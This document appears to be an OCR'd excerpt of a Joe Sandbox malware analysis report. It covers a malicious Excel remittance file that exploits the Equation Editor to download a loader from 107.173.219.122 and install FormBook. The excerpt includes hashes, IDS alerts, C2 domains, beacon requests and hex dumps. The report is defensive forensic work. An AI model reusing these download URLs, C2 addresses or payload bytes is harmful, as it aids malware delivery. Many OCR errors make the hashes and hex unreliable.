
Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDIW2fj/FFDIw2fV:.vBFFGaFFGS

MD5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1L: A44EEBDASEB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69CO6ADAAB3FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Preview:
.user JALDbUS. user JAlbuso oo

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: dropped

Copyright Joe Security LLC 2021 Page 22 of 31



Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Preview:

300544

7.772928715812783

false

6144:aijlHuG+rmmfqtykQNIpwtl6J5kMervaf2QWIIY Cr:aijlHt+rmcG1we6ynB2BIlY
34DFFFOC6477A97FB402C3C5F806060E
3FA9B0A4B2B486FFA872BF75C327E261077C59F3
7FD87C43FB93FDECDAB5DE1A532B259A4193EF217658C43B0F2BCC0332D92CDF

S5DOEOEOOEDFAEB9826A94F6A325176B427BAB7A4FD2B2CFCFACAEDCA11075CE60756ECB14B9173BC988356B1306EO0SAEAF97FC2B6ED10F3C6A7BAASB678D!
9AC

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 41%

1..L.IThis program cannot be run in DOS mode....$....... IVC.mmmee

E5.. E . EH.9L>. - . X .l .lL..L,.Ri

.rdata..M....... N..

@..@.data....1..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

CDFV2 Encrypted

7.989094320836775

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

Remittance_Advice_details001009142021.xlsx
604672

849137c07d96b63b89b0fe9fc240751e
21f9985416¢2bfc51a88615f5806916fal165502

594eeeb07a9f81d9a2e3718fh25ca290ca86a45990a9ca¢
9799dcbdcf114779c

89414e3b56732dc88a19101d05447e0beb4{84€9c52068
8762d065a2605f€8529272090962eeaa47e1850c57db7¢c
€43000445c4afc4b0f04c0f3b364da419288

12288:P1keU5L2Xb+YdXcZO8cEwceWTb1+XNQjc+ZY
8sGWui2DnhKNOkYhmd:PG/6b1dwcEVPb1+yA+ZY8s
GzDh4d

ede2aaBaadb4bcbd

Network Behavior

Snort IDS Alerts

Timestamp

09/15/21-
11:30:01.926503

09/15/21-
11:31:23.673777

09/15/21-
11:31:23.673777

09/15/21-
11:31:23.673777

Copyright Joe Security LLC 2021

Source Dest
Protocol SID Message Port Port Source IP Dest IP
TCP 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 49167 80 192.168.2.22 107.173.219.122
TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 52.58.78.16
TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 52.58.78.16
TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49168 80 192.168.2.22 52.58.78.16
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Timestamp

09/15/21- TCP
11:31:28.984287

09/15/21- TCP
11:31:28.984287

09/15/21- TCP
11:31:28.984287

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Protocol SID

Message

Sep 15, 2021 11:31:18.582616091 CEST

Sep 15, 2021 11:31:23.621709108 CEST

Sep 15, 2021 11:31:28.691669941 CEST

Sep 15, 2021 11:31:34.771414042 CEST

Sep 15, 2021 11:31:40.239648104 CEST

Sep 15, 2021 11:31:45.692718029 CEST

DNS Answers

Timestamp Source IP

Sep 15, 2021
11:31:18.614589930
CEST

8.8.8.8

Sep 15, 2021
11:31:23.647425890
CEST

8.8.8.8

Sep 15, 2021 8.8.8.8
11:31:28.845119953

CEST

Sep 15, 2021 8.8.8.8
11:31:34.890168905

CEST

Sep 15, 2021
11:31:40.356091976
CEST

8.8.8.8

Sep 15, 2021
11:31:40.356091976
CEST

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e 107.173.219.122

e www.ecofingers.com

e www.onedadtwodudes.com

e www.doityourselfism.com

* www.matcitekids.com

Copyright Joe Security LLC 2021

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID
0x8eb8

0xc18c

Oxfc43

0x9c63

0x30e0

0x30e0

2031453 ET TROJAN FormBook CnC Checkin (GET)

2031449 ET TROJAN FormBook CnC Checkin (GET)

2031412 ET TROJAN FormBook CnC Checkin (GET)

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID OP Code

0x8eb8 Standard query
()

0xcl18c Standard query
©)

0xfc43 Standard query
©)

0x9c63 Standard query
©)

0x30e0 Standard query
©)

0x9037 Standard query
©)

Name CName

www.garimp none

eirastore.online

www.ecofin
gers.com

www.onedad
twodudes.com

www.doityo
urselfism.com

www.matcit matcitekids.com

ekids.com

matcitekids.com

Source
Port

49169

49169

49169

Name

www.garimp
eirastore.online

www.ecofin
gers.com

www.onedad
twodudes.com

www.doityo
urselfism.com

www.matcit
ekids.com

www.builtb
ydawn.com

Address

none

52.58.78.16

209.99.64.51

169.62.91.142

50.87.248.20

Dest
Port Source IP

Dest IP
192.168.2.22 209.99.64.51

192.168.2.22 209.99.64.51

192.168.2.22 209.99.64.51

Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
CNAME IN (0x0001)

(Canonical name)

A (IP address)  IN (0x0001)
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HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 0

11:30:01.926502943 CEST

Sep 15, 2021 1
11:30:02.066705942 CEST

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 315

11:31:23.673777103 CEST

Sep 15, 2021 315
11:31:23.692856073 CEST

Copyright Joe Security LLC 2021

Source Port

49167

Direction

ouT

Source Port
49168

Direction
ouT

Destination IP Destination Port Process

107.173.219.122 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Data

GET f/files/loaderl.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 107.173.219.122

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 09:30:01 GMT

Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29

Last-Modified: Tue, 14 Sep 2021 23:01:05 GMT

ETag: "49600-5cbfc8e69e3fb"

Accept-Ranges: bytes

Content-Length: 300544

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c
cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65
2e 0d 0d Oa 24 00 00 00 00 00 00 00 69 76 63 ea 2d 17 0d b9 2d 17 0d b9 2d 17 0d b9 20 45 ec b9 35 17 0d b9 20 45 d2
b9 22 17 0d b9 20 45 ed b9 48 17 0d b9 39 7c Oc b8 3e 17 0d b9 2d 17 Oc b9 58 17 0d b9 ba 49 09 b8 2¢ 17 0d b9 bf 49 f2
b9 2c¢ 17 0d b9 ba 49 0f b8 2c 17 0d b9 52 69 63 68 2d 17 0d b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a7 29 41 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oe 00 00 b8 00 00 00 f
8 03 00 00 00 00 00 33 2a 00 00 00 10 00 00 00 dO 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00
06 00 00 00 00 00 00 00 00 €0 04 00 00 04 00 00 1b 06 05 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00
00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 13 01 00 ¢8 00 00 00 00 60 01 00 a0 68 03 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 dO 04 00 74 0d 00 00 30 Oe 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 50 Oe 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 dO 00 00 c0 01 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 b6 00 00 00 10 00 00 00 b8 00
00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 4d 00 00 00 dO 00 00 00 4e
00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 31 00 00 00 20 01 00 00
14 00 00 00 Oa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 a0 68 03 00 00 60 01 00
00 6a 03 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 74 0d 00 00 00 dO 04 0
000 Oe 00 00 00 88 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ivc--- E5 E" EH9|>-XI,1,I,Rich-PEL)Aa3*@@ htOP@.text
“rdataMN@@.datal @.rsrch’j@@.reloct@B

Destination IP  Destination Port Process

52.58.78.16 80 C:\Windows\explorer.exe

Data

GET /dy8g/?illD=X9Az7RtkaU81d609S6tIRjQeFUHqBPh6fbjlI6BM04vOrRN3gQJahLAd3CrM9IJENxgRa3A==&7
nh=0brOWzXxgHiLa HTTP/1.1

Host: www.ecofingers.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Wed, 15 Sep 2021 09:30:43 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 34 65 0d 0a 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 65 63 6f 66 69 6e 67 65 72 73 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa 20 20
3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d Oa 20 20 3c 62 6f 64 79 3e 0a 0d Oa 33 61 0d Oa 20 20 20 20 59 6f 75 20 61 72 65 20
62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 65 63 6f 66 69 6e 67 65 72
73 2e 63 6f 6d 0a 0d Oa 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e 0a 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 0d Oa Od
Oa

Data Ascii: 7<html>9 <head>4e <meta http-equiv="refresh’ content='5; url=http://www.ecofingers.com/' />a </head>9
<body>3a You are being redirected to http://www.ecofingers.coma </body>8</htmI>0
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Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 316

11:31:28.984287024 CEST

Sep 15, 2021 318

11:31:29.219940901 CEST

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 342

11:31:35.058465958 CEST

Sep 15, 2021 342

11:31:35.224612951 CEST

Session ID Source IP

Copyright Joe Security LLC 2021

Source Port

49169

Direction

ouT

Source Port
49170

Direction
ouT

Source Port

Destination IP Destination Port Process

209.99.64.51 80 C:\Windows\explorer.exe

Data

GET /dy8g/?illD=0Tag2QWxPYUT5Vjr08k9uySIAuCzwAh9yU7TJs1orjitWjs6 0QCEP28HkD9bWaqgSe7I0Ww==&7
nh=0brOWzXxgHiLa HTTP/1.1

Host: www.onedadtwodudes.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 09:31:29 GMT

Server: Apache

Set-Cookie: vsid=917vr3792438891241515; expires=Mon, 14-Sep-2026 09:31:29 GMT; Max-Age=157680000; path=/;
domain=www.onedadtwodudes.com; HttpOnly

X-Adblock-Key: MFwwDQYJKoZIhveNAQEBBQADSWAWSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkA
aXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAWEAAQ==_AdxznAINIYuOtddYrSOlfBuz1WPXmnzHS2P7
RTatbUU+3uvUqIPC92dgEGNJICGrWMjm+zfyZIOGVGKPjkByteQ==

Keep-Alive: timeout=5, max=89

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 35 62 62 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69
7074207479 7065 3d22 74657874 2f6a 617661 73637269 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72
6970 74 3e 3c 7363 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d
22 6874 74 70 3a 2f 2f 77 77 77 2e 6f 6e 65 64 61 64 74 77 6f 64 75 64 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31
22 3e 3c 2f 73637269 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74
2220737263 3d 2268 74 74 70 3a 2f 2f 77 77 77 2e 6f 6e 65 64 61 64 74 77 6f 64 75 64 65 73 2e 63 6f 6d 2f 70 78 2e
6a 73 3f 63 68 3d 32 22 3e 3¢ 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76
617363 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79
7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6€ 74 2e
63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 7
43d 22 3070 78 22 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f 67 2e
7372 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 6e 65 64 61 64 74 77 6f 64 75 64 65 73 2e 63 6f 6d 2f 73 6b 2d 6¢c 6f 67
616270 73 7461 74 75 73 2e 70 68 70 3f 61 3d 56 57 46 52 55 55 31 6¢ 4c 31 70 52 63 58 42 53 53 6¢ 68 36 53 30 77 7
2 5a 6e 70 71 56 6b 52 46 53 54 6¢ 52 65 46 52 35 56 48 4a 6a 55 45 4e 4e 54 6a 52 53 4e 32 4e 71 61 58 70 6e 51 57 6¢
5a 5a 45 6¢ 57 54 30 39 43 61 54 4a 77 5a 6e 6f 76 65 6d 31 74 53 6e 4a 71 65 69 39 6f 55 56 55 7a 62 58 68 55 55 57 67
32 4f 44 56 61 55 45 31 4a 65 53 39 6f 4d 46 64 6d 55 6b 39 45 61 6a 64 46 62 55 39 52 63 30 77 77 4d 6¢ 42 4a 4e 6¢ 70
4b 4d 58 70 58 53 54 52 48 5a 33 68 70 62 6b 39 53 62 48 52 46 54 30 74 52 62 46 6b 3d 26 62 3d 22 2b 61 62 70 3b 64
6f 63

Data Ascii: 5bb1<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01/EN" "http://www.w3.0rg/TR/html4/strict.dtd"><html>
<head><script type="text/javascript“>var abp;</script><script type="text/javascript" src="http://www.onedadtwodudes.co
m/px.js?ch=1"></script><script type="text/javascript" src="http://www.onedadtwodudes.com/px.js?ch=2"></script><script ty
pe="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.st
yle.height="0px";imglog.style.width="0px";imglog.src="http://www.onedadtwodudes.com/sk-logabpstatus.php?a=VWFR
UU1IL1pRcXBSSIh6S0wrZnpgVKRFSTIReFR5VHJIJUENNT]RSN2NgaXpnQWIZZEIWT09CaT JwZnovem1tSnlgei9oUV
UzbXhUUWg20DVaUE1JeS9oMFdmUK9EajdFbUIRcOWWMIBINIpKMXpXSTRHZ3hpbk9SbHRFTOtRbFk=&b="+abp;doc

Destination IP  Destination Port Process

169.62.91.142 80 C:\Windows\explorer.exe

Data

GET /dy8g/?illD=Y4JBfBJEKLG3bE/nPu+ARLK4ZQab+dap1lkyoobOuuyzzJOKZWwpYr6zx24KPHWTC7q0HDg==&7
nh=0brOWzXxgHiLa HTTP/1.1

Host: www.doityourselfism.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Wed, 15 Sep 2021 09:31:35 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 mod_apreq2-20090110/2.8.0 mod_perl/2.0.11 Perl/v5
.16.3

Location: http://www.doityourselfism.com/index.php?dy8g/

Content-Length: 230

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70
3a 2f 2f 77 77 77 2e 64 6f 69 74 79 6f 75 72 73 65 6¢ 66 69 73 6d 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 3f 64 79 38 67
2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="http://www.doityourselfism.com/index.php?dy8g/">he
re</a>.</p></body></html>

Destination IP Destination Port Process
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Session ID Source IP

4 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 343

11:31:40.516174078 CEST

Sep 15, 2021 344

11:31:40.684909105 CEST

Code Manipulations

Statistics

Behavior

o)

System Behavior

Source Port

49171

Direction

ouT

Click to jump to process

Destination IP Destination Port Process

50.87.248.20 80 C:\Windows\explorer.exe

Data

GET /dy8g/?illID=dI9e06GBnSulhV6EbBGZI9CIMc/scmMOFshd6X+e3vqOVIXBF2NWOUbAS5IfRDBFVPtgQQ==&7
nh=0brOWzXxgHiLa HTTP/1.1

Host: www.matcitekids.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 500 Internal Server Error

Date: Wed, 15 Sep 2021 09:31:40 GMT

Server: Apache

Content-Length: 677

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 35 30 30 20 49 6e
74 65 72 6e 61 6¢c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79
3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6¢ 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20
7365 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6¢ 20 65 72 72 6f 72 20 6f 72 Oa
6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6¢ 65 20 74 6f 20 63 6f 6d 70 6C
65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 70 3e 50 6¢ 65 61 73 65 20 63 6f 6e 74 61 63 74 20
74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72
40 6d 61 74 63 69 74 65 6b 69 64 73 2e 6d 61 74 63 69 74 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20
6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c Oa 20 61 6e 64 20 74 68
6520 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73
2065 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68
69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6¢ 61 62 6C 65 0a 69 6 20 74 68 65 20 73 65 72 76 65 72
206572 72 6f 72 20 6¢ 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2c 20 61 20 35 30 30 20 49
6e 74 65 72 6e 61 6¢ 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72
65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20
74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢
3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>500 Internal Server Error</ti
tle></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and
was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@matcitekids.matcite.
com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More inf
ormation about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was
encountered while trying to use an ErrorDocument to handle the request.</p></body></html|>

Analysis Process: EXCEL.EXE PID: 2724 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright Joe Security LLC 2021

11:29:25

15/09/2021

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
0x13faa0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

Key Value Modified

28253536 bytes
D53B85E21886D2AF9815C377537BCAC3
true

true

C, C++ or other language

moderate

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2224 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Key Created

11:29:47

15/09/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE
true

'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
0x400000

543304 bytes

A87236E214F6D42A65F5DEDAC816AECS

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: vbc.exe PID: 2616 Parent PID: 2224

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

11:29:49

15/09/2021

C:\Users\Public\vbc.exe

true

‘C:\Users\Public\vbc.exe'

0xe40000

300544 bytes
34DFFF0C6477A97FB402C3C5F806060E
true

true

C, C++ or other language
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Yara matches:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.480756395.00000000002C0000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000002.480756395.00000000002C0000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.480756395.00000000002C0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: vbc.exe PID: 668 Parent PID: 2616

General

Start time: 11:29:51

Start date: 15/09/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

true

‘C:\Users\Public\vbc.exe’

0xe40000

300544 bytes
34DFFF0C6477A97FB402C3C5F806060E

true

true

C, C++ or other language

low

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.521464934.0000000000170000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.521464934.0000000000170000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

